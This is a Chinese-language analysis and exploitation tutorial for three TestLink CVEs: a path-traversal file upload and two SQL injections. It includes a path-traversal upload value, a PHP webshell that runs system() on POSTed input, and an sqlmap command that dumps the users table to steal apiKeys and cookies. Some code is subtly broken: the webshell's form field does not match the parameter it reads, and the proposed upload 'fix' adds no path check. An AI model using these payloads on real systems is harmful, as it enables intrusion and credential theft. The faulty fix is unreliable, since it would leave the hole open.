浅析TestLink的三个CVE
字数 1501 2025-08-25 22:58:35

TestLink安全漏洞分析与利用教学文档

1. 漏洞概述

TestLink是一个开源的、基于Web的测试管理和测试执行系统,由PHP编写。在最近的安全审计中发现了以下三个关键漏洞:

  1. CVE-2020-8639 - 任意文件上传漏洞
  2. CVE-2020-8637 - SQL注入漏洞(dragdroptreenodes.php)
  3. CVE-2020-8638 - SQL注入漏洞(planUrgency.php)

2. 任意文件上传漏洞(CVE-2020-8639)

2.1 漏洞分析

漏洞存在于keywordsImport.php文件的init_args方法中:

function init_args(&$dbHandler) {
  $_REQUEST = strings_stripSlashes($_REQUEST);
  $ipcfg = array("UploadFile" => array(tlInputParameter::STRING_N,0,1),
                 "importType" => array(tlInputParameter::STRING_N,0,100),
                 "tproject_id" => array(tlInputParameter::INT_N));
  $args = new stdClass();
  R_PARAMS($ipcfg,$args);
  // [...]
  $args->dest = TL_TEMP_PATH . session_id() . "-importkeywords." . $args->importType;
  return $args;
}

关键问题:

  1. importType参数未进行路径遍历检查
  2. 用户控制的importType直接拼接到目标路径$args->dest
  3. 文件通过move_uploaded_file($args->source, $args->dest)移动

2.2 漏洞利用

攻击步骤:

  1. 构造恶意importType参数:/../../../../../logs/2333.php
  2. 上传包含PHP代码的文件
  3. 文件将被移动到服务器可写目录(如/logs)

Webshell示例:

<html>
    <body>
        <form method="POST">
            <input name="command" id="command" />
            <input type="submit" value="Send" />
        </form>
        <pre>
            <?php if(isset($_POST['Hack']))
            {
                system($_POST['Hack']);
            } ?>
        </pre>
    </body>
</html>

3. SQL注入漏洞(CVE-2020-8637)

3.1 漏洞分析

漏洞位于dragdroptreenodes.php和tree.class.php中:

// dragdroptreenodes.php
function init_args() {
  $args=new stdClass();
  $key2loop=array('nodeid','newparentid','doAction','top_or_bottom','nodeorder','nodelist');
  foreach($key2loop as $key) {
    $args->$key=isset($_REQUEST[$key]) ? $_REQUEST[$key] : null;
  }
  return $args;
}

// tree.class.php
function change_parent($node_id, $parent_id) {
  if( is_array($node_id) ) {
    $id_list = implode(",",$node_id);
    $where_clause = " WHERE id IN ($id_list) ";
  } else {
    $where_clause=" WHERE id = {$node_id}";
  }
  $sql = "UPDATE {$this->object_table} SET parent_id = " . 
         $this->db->prepare_int($parent_id) . " {$where_clause}";
  $result = $this->db->exec_query($sql);
  return $result ? 1 : 0;
}

关键问题:

  1. nodeid参数未经过滤直接拼接到SQL查询
  2. nodeid为数组时,使用implode连接后直接插入SQL
  3. nodeid为字符串时,直接插入SQL语句

4. SQL注入漏洞(CVE-2020-8638)

4.1 漏洞分析

漏洞位于planUrgency.php和testPlanUrgency.class.php中:

// planUrgency.php
if (isset($_REQUEST['urgency'])) {
  $args->urgency_tc = $_REQUEST['urgency'];
}

// testPlanUrgency.class.php
public function setTestUrgency($testplan_id, $tc_id, $urgency) {
  $sql = " UPDATE {$this->tables['testplan_tcversions']} SET urgency={$urgency} " .
         " WHERE testplan_id=" . $this->db->prepare_int($testplan_id) .
         " AND tcversion_id=" . $this->db->prepare_int($tc_id);
  $result = $this->db->exec_query($sql);
  return $result ? tl::OK : tl::ERROR;
}

关键问题:

  1. urgency参数未经过滤直接插入SQL语句
  2. 其他参数(testplan_id, tc_id)使用了prepare_int过滤,但urgency未过滤

5. 漏洞利用

5.1 SQL注入利用

对于PostgreSQL数据库:

  • 可以进行堆叠注入,利用此漏洞进行提权

对于MySQL数据库:

  • 可以使用sqlmap进行数据dump:
python sqlmap.py -u <URL_TESTLINK>/lib/ajax/dragdroptreenodes.php \
--data="doAction=changeParent&oldparentid=41&newparentid=41&nodelist=47%2C45&nodeorder=0&nodeid=47" \
-p nodeid \
--cookie="PHPSESSID=<PHP_SESSION_ID>; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=<USER_AUTH_COOKIE>" \
--dump -D testlink -T users

注意:

  • TestLink使用bcrypt存储密码(不可逆)
  • 但可以获取apiKey和cookie(明文存储),用于伪造管理员身份

6. 修复建议

6.1 文件上传漏洞修复

应添加路径检查:

$tproj_mgr = new testproject($dbHandler);
$dm = $tproj_mgr->get_by_id($args->tproject_id,array('output' => 'name'));
$args->tproject_name = $dm['name'];

6.2 SQL注入修复

应采用参数化查询或严格过滤所有用户输入:

  1. nodeid参数使用prepare_int过滤
  2. urgency参数进行严格过滤或使用预处理语句

7. 参考资源

  1. TestLink GitHub源码: https://github.com/TestLinkOpenSourceTRMS/testlink-code
  2. CVE详细信息:
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8637
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8638
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8639
  3. 相关分析文章: https://ackcent.com/blog/testlink-1.9.20-unrestricted-file-upload-and-sql-injection/
TestLink安全漏洞分析与利用教学文档 1. 漏洞概述 TestLink是一个开源的、基于Web的测试管理和测试执行系统,由PHP编写。在最近的安全审计中发现了以下三个关键漏洞: CVE-2020-8639 - 任意文件上传漏洞 CVE-2020-8637 - SQL注入漏洞(dragdroptreenodes.php) CVE-2020-8638 - SQL注入漏洞(planUrgency.php) 2. 任意文件上传漏洞(CVE-2020-8639) 2.1 漏洞分析 漏洞存在于keywordsImport.php文件的 init_args 方法中: 关键问题: importType 参数未进行路径遍历检查 用户控制的 importType 直接拼接到目标路径 $args->dest 文件通过 move_uploaded_file($args->source, $args->dest) 移动 2.2 漏洞利用 攻击步骤: 构造恶意 importType 参数: /../../../../../logs/2333.php 上传包含PHP代码的文件 文件将被移动到服务器可写目录(如/logs) Webshell示例: 3. SQL注入漏洞(CVE-2020-8637) 3.1 漏洞分析 漏洞位于dragdroptreenodes.php和tree.class.php中: 关键问题: nodeid 参数未经过滤直接拼接到SQL查询 当 nodeid 为数组时,使用 implode 连接后直接插入SQL 当 nodeid 为字符串时,直接插入SQL语句 4. SQL注入漏洞(CVE-2020-8638) 4.1 漏洞分析 漏洞位于planUrgency.php和testPlanUrgency.class.php中: 关键问题: urgency 参数未经过滤直接插入SQL语句 其他参数(testplan_ id, tc_ id)使用了 prepare_int 过滤,但urgency未过滤 5. 漏洞利用 5.1 SQL注入利用 对于PostgreSQL数据库: 可以进行堆叠注入,利用此漏洞进行提权 对于MySQL数据库: 可以使用sqlmap进行数据dump: 注意: TestLink使用bcrypt存储密码(不可逆) 但可以获取apiKey和cookie(明文存储),用于伪造管理员身份 6. 修复建议 6.1 文件上传漏洞修复 应添加路径检查: 6.2 SQL注入修复 应采用参数化查询或严格过滤所有用户输入: 对 nodeid 参数使用 prepare_int 过滤 对 urgency 参数进行严格过滤或使用预处理语句 7. 参考资源 TestLink GitHub源码: https://github.com/TestLinkOpenSourceTRMS/testlink-code CVE详细信息: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8637 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8638 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8639 相关分析文章: https://ackcent.com/blog/testlink-1.9.20-unrestricted-file-upload-and-sql-injection/